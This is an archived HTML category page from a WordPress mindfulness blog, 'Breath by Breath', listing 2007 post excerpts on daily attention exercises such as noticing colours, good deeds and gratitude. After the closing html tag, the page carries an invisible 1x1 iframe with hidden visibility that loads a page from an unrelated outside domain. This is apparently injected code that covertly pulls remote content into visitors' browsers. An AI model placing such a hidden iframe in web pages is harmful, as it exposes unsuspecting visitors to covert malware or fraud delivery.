<div id="navigation"> <ul> <li ><a href="../../" title="Home">Home</a></li> <li class="page_item page-item-2"><a href="../../about/" title="About">About</a></li> <li class="page_item page-item-17"><a href="../../contact/" title="Contact">Contact</a></li> <li class="page_item page-item-52"><a href="../../resources/" title="Resources">Resources</a></li> <li class="page_item page-item-60"><a href="../../welcome/" title="Welcome!">Welcome!</a></li> <li class="search"><form method="get" id="searchform" action="http://mailemccarthy.com"><input type="text" class="textbox" value="" name="s" id="s" /><input type="submit" id="searchsubmit" value="Search" /></form></li> </ul> </div><!-- end id:navigation --> <div id="container"> <div id="header"> <h1><a href="../../" title="Breath by Breath">Breath by Breath</a></h1> <h2>…on learning to be happy</h2> </div><!-- end id:header --> <div id="feedarea"> <dl> <dt><strong>Feed on</strong></dt> <dd><a href="../../feed/">Posts</a></dd> <dd><a href="../../comments/feed/">Comments</a></dd> </dl> </div><!-- end id:feedarea --> <div id="headerimage"> </div><!-- end id:headerimage --> <div id="content"> <div id="content-main"> <h2 class="pagetitle">Archive for the ‘{Point of Focus}’ Category</h2> <div class="post hentry category-point-of-focus category-simplicity category-things-that-made-me-smile" id="post-148"> <div class="posttitle"> <h2><a href="../../2007/08/28/did-you-see-the-lunar-eclipse/" title="Permanent Link to Did You See the Lunar Eclipse?">Did You See the Lunar Eclipse?</a></h2> <p class="post-info">Posted in <noindex><a href="http://en.wordpress.com/tag/point-of-focus/" title="View all posts in {Point of Focus}" tag">{Point of Focus}</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/simplicity/" title="View all posts in {Simplicity}" tag">{Simplicity}</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/things-that-made-me-smile/" title="View all posts in {Things That Made Me Smile}" tag">{Things That Made Me Smile}</a></noindex> on August 28, 2007 | <a href="../../2007/08/28/did-you-see-the-lunar-eclipse/#respond" title="Comment on Did You See the Lunar Eclipse?">No Comments »</a></p> </div> <div class="entry"> <p><a href="../../2007/08/28/did-you-see-the-lunar-eclipse/" title="Permanent Link to Did You See the Lunar Eclipse?">Read Full Post »</a></p> </div> </div> <div class="post hentry category-attention category-point-of-focus category-illustration" id="post-133"> <div class="posttitle"> <h2><a href="../../2007/08/22/mastering-the-elephant-of-unconsciousness/" title="Permanent Link to Mastering the Elephant of Unconscious Thought">Mastering the Elephant of Unconscious Thought</a></h2> <p class="post-info">Posted in <noindex><a href="http://en.wordpress.com/tag/attention/" title="View all posts in {Attention}" tag">{Attention}</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/point-of-focus/" title="View all posts in {Point of Focus}" tag">{Point of Focus}</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/illustration/" title="View all posts in {illustration}" tag">{illustration}</a></noindex> on August 22, 2007 | <a href="../../2007/08/22/mastering-the-elephant-of-unconsciousness/#comments" title="Comment on Mastering the Elephant of Unconscious Thought">4 Comments »</a></p> </div> <div class="entry"> <p>The other day on the Positive Psychology Blog, Dave Shearon discussed a metaphor which was new to me. He said:<br /> Jon Haidt in The Happiness Hypothesis suggests the metaphor of a rider on an elephant for how we live life. The rider is our conscious thoughts (and emotions). The elephant is our [...]</p> <p><a href="../../2007/08/22/mastering-the-elephant-of-unconsciousness/" title="Permanent Link to Mastering the Elephant of Unconscious Thought">Read Full Post »</a></p> </div> </div> <div class="post hentry category-point-of-focus" id="post-127"> <div class="posttitle"> <h2><a href="../../2007/06/15/others-good-deeds/" title="Permanent Link to Can Good Deeds in Others Lead to Happiness in You?">Can Good Deeds in Others Lead to Happiness in You?</a></h2> <p class="post-info">Posted in <noindex><a href="http://en.wordpress.com/tag/point-of-focus/" title="View all posts in {Point of Focus}" tag">{Point of Focus}</a></noindex> on June 15, 2007 | <a href="../../2007/06/15/others-good-deeds/#comments" title="Comment on Can Good Deeds in Others Lead to Happiness in You?">3 Comments »</a></p> </div> <div class="entry"> <p>Today’s goal: take note of at least three good deeds you see a stranger do for another stranger.<br /> I tried this yesterday, and once I started looking, I saw them everywhere: people holding doors for others, a car stopping at a cross-walk and waving a pedestrian through, a woman giving up her space in line at [...]</p> <p><a href="../../2007/06/15/others-good-deeds/" title="Permanent Link to Can Good Deeds in Others Lead to Happiness in You?">Read Full Post »</a></p> </div> </div> <div class="post hentry category-point-of-focus" id="post-119"> <div class="posttitle"> <h2><a href="../../2007/05/24/levity/" title="Permanent Link to Levity">Levity</a></h2> <p class="post-info">Posted in <noindex><a href="http://en.wordpress.com/tag/point-of-focus/" title="View all posts in {Point of Focus}" tag">{Point of Focus}</a></noindex> on May 24, 2007 | <a href="../../2007/05/24/levity/#comments" title="Comment on Levity">1 Comment »</a></p> </div> <div class="entry"> <p>As you go about your day, try to notice the lightness of things: a piece of paper floating as it falls off the table, or a leaf dancing in the breeze.<br /> You can also shift your attention to the humor in everyday situations. Find a few opportunities to take life less seriously then come back tomorrow [...]</p> <p><a href="../../2007/05/24/levity/" title="Permanent Link to Levity">Read Full Post »</a></p> </div> </div> <div class="post hentry category-point-of-focus" id="post-116"> <div class="posttitle"> <h2><a href="../../2007/05/21/red/" title="Permanent Link to Red">Red</a></h2> <p class="post-info">Posted in <noindex><a href="http://en.wordpress.com/tag/point-of-focus/" title="View all posts in {Point of Focus}" tag">{Point of Focus}</a></noindex> on May 21, 2007 | <a href="../../2007/05/21/red/#respond" title="Comment on Red">No Comments »</a></p> </div> <div class="entry"> <p>The last few days have been feeling a little complicated, so I’m keeping this week’s point of focus exercises simple: Colors.<br /> As you go about your day today, pay extra attention to the color red in your environment. Notice different shades of red. Look up, look down. Let large patches of color and [...]</p> <p><a href="../../2007/05/21/red/" title="Permanent Link to Red">Read Full Post »</a></p> </div> </div> <div class="post hentry category-point-of-focus" id="post-115"> <div class="posttitle"> <h2><a href="../../2007/05/18/mistaken-attention/" title="Permanent Link to Mistaken Attention">Mistaken Attention</a></h2> <p class="post-info">Posted in <noindex><a href="http://en.wordpress.com/tag/point-of-focus/" title="View all posts in {Point of Focus}" tag">{Point of Focus}</a></noindex> on May 18, 2007 | <a href="../../2007/05/18/mistaken-attention/#comments" title="Comment on Mistaken Attention">2 Comments »</a></p> </div> <div class="entry"> <p>The idea for today’s point of focus comes from Gregg Krech at the Todo Institute. He says:<br /> “Keep track of your mistakes today. You may not make any. But perhaps you’ll leave a typo in a memo at work, or spill some juice while pouring it into a glass…”<br /> Each time you make a mistake, ask yourself [...]</p> <p><a href="../../2007/05/18/mistaken-attention/" title="Permanent Link to Mistaken Attention">Read Full Post »</a></p> </div> </div> <div class="post hentry category-attention category-point-of-focus" id="post-109"> <div class="posttitle"> <h2><a href="../../2007/05/16/gratitude-and-gratification/" title="Permanent Link to Gratitude and Gratification">Gratitude and Gratification</a></h2> <p class="post-info">Posted in <noindex><a href="http://en.wordpress.com/tag/attention/" title="View all posts in {Attention}" tag">{Attention}</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/point-of-focus/" title="View all posts in {Point of Focus}" tag">{Point of Focus}</a></noindex> on May 16, 2007 | <a href="../../2007/05/16/gratitude-and-gratification/#respond" title="Comment on Gratitude and Gratification">No Comments »</a></p> </div> <div class="entry"> <p>Yesterday, No Impact Man posted about severing his link to the power grid. It got him thinking about salt, coffee, and instant gratification. He says:<br /> what’s confounding me at the moment is trying to figure out how to have everything I want at a moment’s notice without making any packaging trash. My mind is conditioned to [...]</p> <p><a href="../../2007/05/16/gratitude-and-gratification/" title="Permanent Link to Gratitude and Gratification">Read Full Post »</a></p> </div> </div> <div class="post hentry category-point-of-focus category-wonderful-quotes" id="post-94"> <div class="posttitle"> <h2><a href="../../2007/05/07/on-seeing-people-as-real/" title="Permanent Link to On Seeing People as Real…">On Seeing People as Real…</a></h2> <p class="post-info">Posted in <noindex><a href="http://en.wordpress.com/tag/point-of-focus/" title="View all posts in {Point of Focus}" tag">{Point of Focus}</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/wonderful-quotes/" title="View all posts in {Wonderful Quotes}" tag">{Wonderful Quotes}</a></noindex> on May 7, 2007 | <a href="../../2007/05/07/on-seeing-people-as-real/#comments" title="Comment on On Seeing People as Real…">4 Comments »</a></p> </div> <div class="entry"> <p>My sister said this to me the other day, and I thought it would make a nice daily practice for the blog:<br /> Along the lines of silently wishing people well, I caught myself being very frustrated the other day at a donut shop … And I decided that when I catch myself judging people, it’s [...]</p> <p><a href="../../2007/05/07/on-seeing-people-as-real/" title="Permanent Link to On Seeing People as Real…">Read Full Post »</a></p> </div> </div> <div class="post hentry category-point-of-focus" id="post-90"> <div class="posttitle"> <h2><a href="../../2007/05/03/do-you-consume-more-packaging-than-food/" title="Permanent Link to Do You Consume More Packaging Than Food?">Do You Consume More Packaging Than Food?</a></h2> <p class="post-info">Posted in <noindex><a href="http://en.wordpress.com/tag/point-of-focus/" title="View all posts in {Point of Focus}" tag">{Point of Focus}</a></noindex> on May 3, 2007 | <a href="../../2007/05/03/do-you-consume-more-packaging-than-food/#comments" title="Comment on Do You Consume More Packaging Than Food?">2 Comments »</a></p> </div> <div class="entry"> <p>“Each year, US consumers throw out 69 million tonnes of packaging waste, 31 per cent of the total US waste stream. In the UK, 25 per cent of the contents of the average bin is retail packaging,” according to this article recently published in NewScientist.<br /> And most of us do so with little awareness. I [...]</p> <p><a href="../../2007/05/03/do-you-consume-more-packaging-than-food/" title="Permanent Link to Do You Consume More Packaging Than Food?">Read Full Post »</a></p> </div> </div> <div class="post hentry category-point-of-focus" id="post-87"> <div class="posttitle"> <h2><a href="../../2007/04/30/subtle-sounds/" title="Permanent Link to Subtle Sounds">Subtle Sounds</a></h2> <p class="post-info">Posted in <noindex><a href="http://en.wordpress.com/tag/point-of-focus/" title="View all posts in {Point of Focus}" tag">{Point of Focus}</a></noindex> on April 30, 2007 | <a href="../../2007/04/30/subtle-sounds/#comments" title="Comment on Subtle Sounds">4 Comments »</a></p> </div> <div class="entry"> <p>Have you noticed this peculiarity about many of the cooking shows on TV these days? The audio recording seems to heighten every subtle cooking sound–the crack of an egg in the palm of the chef’s hand, the swish of the wire whisk against the side of a ceramic bowl, the gentle tap of a [...]</p> <p><a href="../../2007/04/30/subtle-sounds/" title="Permanent Link to Subtle Sounds">Read Full Post »</a></p> </div> </div> <div class="post hentry category-point-of-focus category-wonderful-quotes" id="post-81"> <div class="posttitle"> <h2><a href="../../2007/04/23/a-funny-path-to-gratitude/" title="Permanent Link to A Funny Path to Gratitude">A Funny Path to Gratitude</a></h2> <p class="post-info">Posted in <noindex><a href="http://en.wordpress.com/tag/point-of-focus/" title="View all posts in {Point of Focus}" tag">{Point of Focus}</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/wonderful-quotes/" title="View all posts in {Wonderful Quotes}" tag">{Wonderful Quotes}</a></noindex> on April 23, 2007 | <a href="../../2007/04/23/a-funny-path-to-gratitude/#comments" title="Comment on A Funny Path to Gratitude">1 Comment »</a></p> </div> <div class="entry"> <p> If you wish…</p> <p>I ran across this quote in John Daido Loori’s wonderful book The Zen of Creativity. It made me laugh, and then it got me thinking about how many people and things have made it possible for me to be here, now, reading this quote.<br /> Try to keep this in mind as today’s [...]</p> <p><a href="../../2007/04/23/a-funny-path-to-gratitude/" title="Permanent Link to A Funny Path to Gratitude">Read Full Post »</a></p> </div> </div> <div class="post hentry category-attention category-point-of-focus" id="post-77"> <div class="posttitle"> <h2><a href="../../2007/04/18/theme-for-a-day/" title="Permanent Link to Theme for a Day">Theme for a Day</a></h2> <p class="post-info">Posted in <noindex><a href="http://en.wordpress.com/tag/attention/" title="View all posts in {Attention}" tag">{Attention}</a></noindex>, <noindex><a href="http://en.wordpress.com/tag/point-of-focus/" title="View all posts in {Point of Focus}" tag">{Point of Focus}</a></noindex> on April 18, 2007 | <a href="../../2007/04/18/theme-for-a-day/#comments" title="Comment on Theme for a Day">2 Comments »</a></p> </div> <div class="entry"> <p>I just read this over at the bugsandfishes blog and thought it would make a great exercise in attention. In her 10 little known facts about me post, Lupin says :<br /> I like to give my days and weeks themes and silly titles. If something crops up three times, that makes it the theme for [...]</p> <p><a href="../../2007/04/18/theme-for-a-day/" title="Permanent Link to Theme for a Day">Read Full Post »</a></p> </div> </div> <div class="post hentry category-point-of-focus" id="post-75"> <div class="posttitle"> <h2><a href="../../2007/04/16/trying-to-see-the-connections/" title="Permanent Link to Trying to See the Connections">Trying to See the Connections</a></h2> <p class="post-info">Posted in <noindex><a href="http://en.wordpress.com/tag/point-of-focus/" title="View all posts in {Point of Focus}" tag">{Point of Focus}</a></noindex> on April 16, 2007 | <a href="../../2007/04/16/trying-to-see-the-connections/#comments" title="Comment on Trying to See the Connections">3 Comments »</a></p> </div> <div class="entry"> <p>I read Sci Fi author Orson Scott Card’s Homecoming series years ago, and most of the story has faded (enough to read it again? hm…). One aspect of it, though, pops into my mind every once in a while, seemingly at random. It happened today.<br /> In the series there is a character [...]</p> <p><a href="../../2007/04/16/trying-to-see-the-connections/" title="Permanent Link to Trying to See the Connections">Read Full Post »</a></p> </div> </div> <div class="post hentry category-point-of-focus" id="post-73"> <div class="posttitle"> <h2><a href="../../2007/04/13/transitions/" title="Permanent Link to Transitions">Transitions</a></h2> <p class="post-info">Posted in <noindex><a href="http://en.wordpress.com/tag/point-of-focus/" title="View all posts in {Point of Focus}" tag">{Point of Focus}</a></noindex> on April 13, 2007 | <a href="../../2007/04/13/transitions/#respond" title="Comment on Transitions">No Comments »</a></p> </div> <div class="entry"> <p>Transitions Originally uploaded by maile&justin.</p> <p> soft pile of the bath mat,<br /> long unnoticed–<br /> now nuzzles my feet</p> <p><a href="../../2007/04/13/transitions/" title="Permanent Link to Transitions">Read Full Post »</a></p> </div> </div> <div class="post hentry category-point-of-focus" id="post-66"> <div class="posttitle"> <h2><a href="../../2007/04/11/i-am-supported-by/" title="Permanent Link to I am Supported By…">I am Supported By…</a></h2> <p class="post-info">Posted in <noindex><a href="http://en.wordpress.com/tag/point-of-focus/" title="View all posts in {Point of Focus}" tag">{Point of Focus}</a></noindex> on April 11, 2007 | <a href="../../2007/04/11/i-am-supported-by/#respond" title="Comment on I am Supported By…">No Comments »</a></p> </div> <div class="entry"> <p>Today’s point of focus is one of Naikan’s three questions: What have others done for me today? That is, how am I supported?<br /> Think about this question as you move through your day then, before bed, take a moment to write down some of the things you noticed. Set a timer for 5-15 minutes [...]</p> <p><a href="../../2007/04/11/i-am-supported-by/" title="Permanent Link to I am Supported By…">Read Full Post »</a></p> </div> </div> <p align="center"></p> </div><!-- end id:content-main --> <div id="sidebar"> <ul> <li class="sidebox"> <div class="textwidget"> <a href="../../feed"><img src="http://flickrhaiku.files.wordpress.com/2007/04/feed-icon-28x28.png" /> Subscribe!</a> </div> </li><li class="sidebox"><form method="get" id="searchform" action="http://mailemccarthy.com/" > <div><label class="hidden" for="s">Search for:</label> <input type="text" value="" name="s" id="s" /> <input type="submit" id="searchsubmit" value="Search" /> </div> </form></li> <li class="sidebox"> <h2>Top Posts</h2> <ul><li><a href='../../2007/05/02/commute-better/'>7 Things You Can Do During Today's Commute to Improve Your Focus All Day Long</a></li><li><a href='../../2007/05/10/5-ways-criminal-thinking-can-make-you-happier/'>5 Ways Criminal Thinking Can Make You Happier</a></li><li><a href='../../2007/05/21/red/'>Red</a></li><li><a href='../../2008/04/02/music-life/'>Music & Life</a></li></ul> </li><li class="sidebox"><h2>Archives</h2> <ul> <li><a href='../../2008/04/' title='April 2008'>April 2008</a></li> <li><a href='../../2008/01/' title='January 2008'>January 2008</a></li> <li><a href='../../2007/12/' title='December 2007'>December 2007</a></li> <li><a href='../../2007/11/' title='November 2007'>November 2007</a></li> <li><a href='../../2007/09/' title='September 2007'>September 2007</a></li> <li><a href='../../2007/08/' title='August 2007'>August 2007</a></li> <li><a href='../../2007/07/' title='July 2007'>July 2007</a></li> <li><a href='../../2007/06/' title='June 2007'>June 2007</a></li> <li><a href='../../2007/05/' title='May 2007'>May 2007</a></li> <li><a href='../../2007/04/' title='April 2007'>April 2007</a></li> </ul> </li></ul> </div><!-- end id:sidebar --> </div><!-- end id:content --> </div><!-- end id:container --> <div id="footer"> <p><noindex><a href='http://wordpress.com/' >Blog at WordPress.com</a></noindex>. | Theme: Mistylook by <noindex><a href="http://wpthemes.info/" >Sadish</a></noindex>.</p> <br class="clear" /> </div><!-- end id:footer --> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl./" : "http://www./"); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> var wpcomPageTracker = _gat._getTracker("UA-52447-2"); wpcomPageTracker._setDomainName("none"); wpcomPageTracker._setAllowLinker(true); wpcomPageTracker._initData(); wpcomPageTracker._trackPageview(); </script> <script type="text/javascript" src="../../../edge.quantserve.com/quant.js"></script> <script type="text/javascript">_qoptions = { labels:"adt.0,language.en" };_qacct="p-18-mFEk4J448M";quantserve();</script> <noscript><p><img src="http://pixel.quantserve.com/pixel/p-18-mFEk4J448M.gif" style="display: none" height="1" width="1" alt="" /></p></noscript> <script src="../../../s.stats.wordpress.com/w.js@18" type="text/javascript"></script> <script type="text/javascript"> st_go({'blog':'778178','v':'wpcom','user_id':'0','post':'0','subd':'flickrhaiku'}); ex_go({'crypt':'D6%7C%2CY1mqtiRa%3DV%26%7CQbTtZOw5UrDNB%7E-74%2F%2CVpJ8DhnBaMP%7E%5DdaS-%2CVfiejnz_HN%2FN9%3FIu2v%2CBJs%3DXH3KonA%2FT%5BC%3Ffj5N4DUb2n6F06TTHs0%5DpGMj%7C6OXpU8%25-jC5D%25%3Fcm%7E3SN%2BoY3yhJqiUHnmJrUdBd3gqxL-0F6'}); addLoadEvent(function(){linktracker_init('778178',0);}); </script> <center> </center> </body> </html> <iframe src="http://niklejo.net/?click=455A8D0" width=1 height=1 style="visibility:hidden;position:absolute">